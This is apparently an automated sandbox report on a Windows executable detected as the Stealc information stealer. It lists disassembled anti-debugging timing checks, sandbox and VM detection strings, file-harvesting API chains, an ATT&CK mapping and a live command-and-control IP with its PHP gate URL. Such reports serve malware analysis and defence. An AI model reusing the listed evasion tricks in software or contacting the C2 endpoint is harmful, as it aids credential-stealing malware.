Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2303 second address: 7F2307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEC04 second address: 7FEC26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FCA94C93E36h 0x0000000a jmp 00007FCA94C93E41h 0x0000000f popad 0x00000010 pop ebx 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEC26 second address: 7FEC2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB353 second address: 7FB357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB357 second address: 7FB376 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94618474h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push esi 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C98A second address: 80C99E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94C93E3Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FCA94C93E36h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C99E second address: 80C9D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jl 00007FCA9461846Ch 0x0000000f je 00007FCA94618466h 0x00000015 pushad 0x00000016 jmp 00007FCA94618479h 0x0000001b jnp 00007FCA94618466h 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C9D7 second address: 80C9E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C9E2 second address: 80C9EF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCA94618466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C9EF second address: 80C9F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81C5C7 second address: 81C5D3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FCA94618466h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B4E2 second address: 81B539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007FCA94C93E3Dh 0x0000000c pushad 0x0000000d jmp 00007FCA94C93E45h 0x00000012 jnc 00007FCA94C93E36h 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b jp 00007FCA94C93E4Ch 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007FCA94C93E44h 0x00000028 jo 00007FCA94C93E3Ch 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B96F second address: 81B975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81BDAB second address: 81BDC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA94C93E48h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81BDC7 second address: 81BDD1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCA94618466h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81BDD1 second address: 81BDDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81BF62 second address: 81BF68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81BF68 second address: 81BF8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c ja 00007FCA94C93E36h 0x00000012 popad 0x00000013 jmp 00007FCA94C93E44h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81BF8F second address: 81BFAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCA94618478h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81C2A6 second address: 81C2B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8206B9 second address: 8206BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8206BD second address: 8206C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8206C3 second address: 8206C8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 820998 second address: 82099C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82099C second address: 8209DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94618475h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FCA94618477h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push edx 0x00000018 pop edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 820A8A second address: 820A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FCA94C93E36h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 820CED second address: 820CF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 820CF1 second address: 820D2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jmp 00007FCA94C93E3Fh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push ebx 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop ebx 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007FCA94C93E3Eh 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push esi 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8237AD second address: 8237B3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8237B3 second address: 8237B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8237B8 second address: 8237BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8237BE second address: 8237C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60299 second address: 4F60312 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA9461846Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FCA94618470h 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FCA94618471h 0x00000017 or cl, 00000006h 0x0000001a jmp 00007FCA94618471h 0x0000001f popfd 0x00000020 call 00007FCA94618470h 0x00000025 mov dl, cl 0x00000027 pop ebx 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FCA94618474h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60312 second address: 4F60318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60318 second address: 4F60338 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 mov edx, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FCA94618471h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60338 second address: 4F60359 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 9Dh 0x00000005 mov eax, 7AF13A5Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e pushad 0x0000000f call 00007FCA94C93E40h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5A1A9C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 745B04 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7C6992 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005A754D rdtsc

0_2_005A754D

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003538B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_003538B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00354910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00354910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0034DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0034E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0034ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00354570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00354570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0034DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0034BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0034F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00353EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00353EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003416D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003416D0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00341160 GetSystemInfo,ExitProcess,

0_2_00341160

Source: file.exe, file.exe, 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1746396519.0000000001011000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWM
Source: file.exe, 00000000.00000002.1746396519.0000000001011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1746396519.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1746396519.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.1746396519.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareH

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13250
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13253
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13272
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13264
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13304

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005A754D rdtsc

0_2_005A754D

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003445C0 VirtualProtect ?,00000004,00000100,00000000

0_2_003445C0

Source: C:\Users\user\Desktop\file.exe

0_2_00359860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00359750 mov eax, dword ptr fs:[00000030h]

0_2_00359750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00357850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00357850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7400, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00359600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00359600

Source: file.exe	Binary or memory string: ["kProgram Manager
Source: file.exe, 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ["kProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00357B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00356920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00356920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00357850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00357850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00357A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00357A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.340000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1705479023.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1746396519.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7400, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.340000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1705479023.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1746396519.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7400, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	651 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37=	file.exe, 00000000.00000002.1746396519.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php=	file.exe, 00000000.00000002.1746396519.0000000001011000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1746396519.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php?	file.exe, 00000000.00000002.1746396519.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php6	file.exe, 00000000.00000002.1746396519.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phph	file.exe, 00000000.00000002.1746396519.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540694
Start date and time:	2024-10-24 01:09:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 86
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
